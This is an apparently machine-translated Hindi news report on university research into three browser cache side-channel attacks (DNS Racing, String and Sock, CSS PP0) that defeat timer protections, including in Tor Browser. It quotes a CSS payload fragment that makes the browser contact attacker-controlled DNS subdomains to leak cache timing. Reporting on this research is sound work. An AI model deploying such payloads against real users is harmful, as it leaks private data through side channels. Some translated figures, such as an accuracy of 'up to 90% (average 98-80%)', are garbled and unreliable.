सीपीयू कैश निष्कर्षण हमला जावास्क्रिप्ट के बिना वेब ब्राउज़र में लागू किया गया

कई अमेरिकी, इज़राइली और ऑस्ट्रेलियाई विश्वविद्यालयों के शोधकर्ताओं की एक टीम ने तीन हमले विकसित किए हैं जो प्रोसेसर कैश की सामग्री के बारे में जानकारी निकालने के लिए वेब ब्राउज़र पर चलते हैं। एक विधि जावास्क्रिप्ट के बिना ब्राउज़र में काम करती है, और अन्य दो साइड-चैनल हमलों के खिलाफ सुरक्षा के मौजूदा तरीकों को बायपास करती हैं, जिनमें टोर ब्राउज़र और डेटरफॉक्स में उपयोग की जाने वाली विधियां शामिल हैं। हमलों को प्रदर्शित करने के लिए कोड, साथ ही हमलों के लिए आवश्यक सर्वर घटक, GitHub पर प्रकाशित किए जाते हैं।

कैश की सामग्री का विश्लेषण करने के लिए, सभी हमले प्राइम+प्रोब विधि का उपयोग करते हैं, जिसमें कैश को मूल्यों के एक मानक सेट के साथ भरना और उन्हें फिर से भरते समय उन तक पहुंच समय को मापकर परिवर्तनों का पता लगाना शामिल है। ब्राउज़र में मौजूद सुरक्षा तंत्र को बायपास करने के लिए जो सटीक समय माप में हस्तक्षेप करते हैं, दो विकल्पों में, हमलावर द्वारा नियंत्रित DNS या WebSocket सर्वर पर अपील की जाती है, जो प्राप्त अनुरोधों के समय का लॉग रखता है। एक अवतार में, एक निश्चित DNS प्रतिक्रिया समय का उपयोग समय संदर्भ के रूप में किया जाता है।

मशीन लर्निंग पर आधारित वर्गीकरण प्रणाली का उपयोग करके बाहरी डीएनएस या वेबसॉकेट सर्वर का उपयोग करके किए गए माप, सबसे इष्टतम परिदृश्य (औसत 98-80%) में 90% तक की सटीकता के साथ मूल्यों की भविष्यवाणी करने के लिए पर्याप्त थे। हमले के तरीकों का परीक्षण विभिन्न हार्डवेयर प्लेटफार्मों (इंटेल, एएमडी रायज़ेन, ऐप्पल एम1, सैमसंग एक्सिनोस) पर किया गया है और ये सार्वभौमिक साबित हुए हैं।

डीएनएस रेसिंग हमले का पहला संस्करण जावास्क्रिप्ट सरणियों का उपयोग करके प्राइम+प्रोब पद्धति के क्लासिक कार्यान्वयन का उपयोग करता है। अंतर एक बाहरी डीएनएस-आधारित टाइमर और एक ऑनररर हैंडलर के उपयोग में कम हो जाता है, जो तब ट्रिगर होता है जब किसी गैर-मौजूद डोमेन से एक छवि लोड करने का प्रयास किया जाता है। एक बाहरी टाइमर उन ब्राउज़रों पर प्राइम+प्रोब हमले की अनुमति देता है जो जावास्क्रिप्ट टाइमर तक पहुंच को सीमित या पूरी तरह से अक्षम कर देते हैं।

समान ईथरनेट नेटवर्क पर स्थित DNS सर्वर के लिए, टाइमर की सटीकता लगभग 2 एमएस होने का अनुमान है, जो साइड-चैनल हमले को अंजाम देने के लिए पर्याप्त है (तुलना के लिए, टोर ब्राउज़र में मानक जावास्क्रिप्ट टाइमर की सटीकता है घटाकर 100 एमएस कर दिया गया)। हमले के लिए, DNS सर्वर पर नियंत्रण की आवश्यकता नहीं है, क्योंकि ऑपरेशन के निष्पादन समय का चयन किया जाता है ताकि DNS से ​​प्रतिक्रिया समय चेक के पहले पूरा होने के संकेत के रूप में कार्य करे (यह इस बात पर निर्भर करता है कि ऑनररर हैंडलर ट्रिगर किया गया था या नहीं) पहले या बाद में, कैश के साथ चेक ऑपरेशन की गति के बारे में एक निष्कर्ष निकाला जाता है)।

दूसरी आक्रमण विधि, "स्ट्रिंग एंड सॉक", का उद्देश्य उन सुरक्षा तकनीकों को बायपास करना है जो जावास्क्रिप्ट में सरणियों के निम्न-स्तरीय उपयोग को प्रतिबंधित करती हैं। सरणियों के बजाय, स्ट्रिंग और सॉक बहुत बड़े स्ट्रिंग्स पर संचालन का उपयोग करते हैं, जिसका आकार चुना जाता है ताकि चर पूरे एलएलसी कैश (अंतिम स्तर कैश) को कवर कर सके। इसके बाद, IndexOf() फ़ंक्शन का उपयोग करके, स्ट्रिंग में एक छोटा सबस्ट्रिंग खोजा जाता है, जो प्रारंभ में स्रोत स्ट्रिंग में अनुपस्थित होता है, अर्थात। खोज ऑपरेशन के परिणामस्वरूप संपूर्ण स्ट्रिंग पर पुनरावृत्ति होती है। चूंकि लाइन का आकार एलएलसी कैश के आकार से मेल खाता है, स्कैनिंग आपको सरणियों में हेरफेर किए बिना कैश चेक ऑपरेशन करने की अनुमति देती है। देरी को मापने के लिए, DNS के बजाय, हमलावर द्वारा नियंत्रित WebSocket सर्वर पर कॉल की जाती है - खोज ऑपरेशन पूरा होने से पहले और बाद में, लाइन में प्रश्न भेजे जाते हैं, जिसके आधार पर सर्वर कैश का विश्लेषण करने के लिए उपयोग की जाने वाली देरी की गणना करता है सामग्री

"सीएसएस पीपी0" हमले का तीसरा संस्करण एचटीएमएल और सीएसएस के माध्यम से कार्यान्वित किया गया है, और जावास्क्रिप्ट अक्षम वाले ब्राउज़र में काम कर सकता है। यह विधि "स्ट्रिंग एंड सॉक" के समान है, लेकिन जावास्क्रिप्ट से बंधी नहीं है। हमले के दौरान, सीएसएस चयनकर्ताओं का एक सेट उत्पन्न होता है जो मास्क द्वारा खोज करता है। कैश को भरने वाली प्रारंभिक बड़ी स्ट्रिंग को एक बहुत बड़े वर्ग नाम के साथ एक div टैग बनाकर सेट किया जाता है। अंदर अपने स्वयं के पहचानकर्ताओं के साथ अन्य divs का एक सेट है। इनमें से प्रत्येक नेस्टेड डिव की अपनी शैली होती है जिसमें एक चयनकर्ता होता है जो एक सबस्ट्रिंग की खोज करता है। किसी पृष्ठ को प्रस्तुत करते समय, ब्राउज़र पहले आंतरिक divs को संसाधित करने का प्रयास करता है, जिसके परिणामस्वरूप एक बड़ी पंक्ति पर खोज ऑपरेशन होता है। खोज जानबूझकर गायब मास्क का उपयोग करके की जाती है और पूरी लाइन पर पुनरावृत्ति की ओर ले जाती है, जिसके बाद "नहीं" स्थिति शुरू हो जाती है और यादृच्छिक डोमेन को संदर्भित करने वाली पृष्ठभूमि छवि लोड करने का प्रयास किया जाता है: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … एक्स एक्स ...

उपडोमेन को हमलावर के DNS सर्वर द्वारा परोसा जाता है, जो अनुरोध प्राप्त करने में देरी को माप सकता है। DNS सर्वर सभी अनुरोधों के लिए NXDOMAIN जारी करता है और अनुरोधों के सटीक समय का लॉग रखता है। Divs के एक सेट को संसाधित करने के परिणामस्वरूप, हमलावर के DNS सर्वर को अनुरोधों की एक श्रृंखला प्राप्त होती है, जिसके बीच की देरी कैश सामग्री की जाँच के परिणाम से संबंधित होती है।

स्रोत: opennet.ru